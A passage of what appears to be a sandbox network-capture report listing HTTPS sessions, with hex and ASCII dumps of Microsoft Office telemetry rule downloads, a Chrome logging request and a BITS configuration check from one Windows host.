65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-15 08:55:29 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f790844-b01e-0021-3b39-36cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085529Z-1866b5c5fbbzzh8chC1DFWdrc400000000mg00000000e4a5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fb45f2b4-401e-0016-3630-3653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085529Z-1866b5c5fbbccpxfhC1DFWbkng0000000100000000008arw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 1c13518a-801e-00a0-75ff-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085529Z-164f84587bfj5xwnhC1DFW3a2800000000f0000000003rts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085529Z-16547b76f7fbkfmzhC1DFWm9tw00000000q00000000085r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:29 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 7cd96093-b01e-0070-32a5-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085529Z-164f84587bfjxw6fhC1DFWq944000000018g000000001ucb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49829	142.250.186.174	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:29 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 08:55:29 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 36 36 30 39 32 37 30 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731660927066",null,null,null,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49830	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-15 08:55:30 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=200999 Date: Fri, 15 Nov 2024 08:55:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: bd00a7b8-901e-002a-72af-367a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085530Z-1866b5c5fbbsqznnhC1DFWg28g000000015g00000000c03q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:30 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:30 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 94e04423-001e-008d-67ab-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085530Z-16547b76f7f9bs6dhC1DFWt3rg0000000mzg0000000011fh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085530Z-1866b5c5fbb5hnj5hC1DFW18sc000000014g00000000dh0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:30 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085530Z-16547b76f7ftnm6xhC1DFW9c8c00000000qg000000005p19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:30 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:30 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:30 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 3d7627b6-f01e-0085-0f82-3688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085530Z-164f84587bf28gjzhC1DFW35kg000000011g00000000447m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
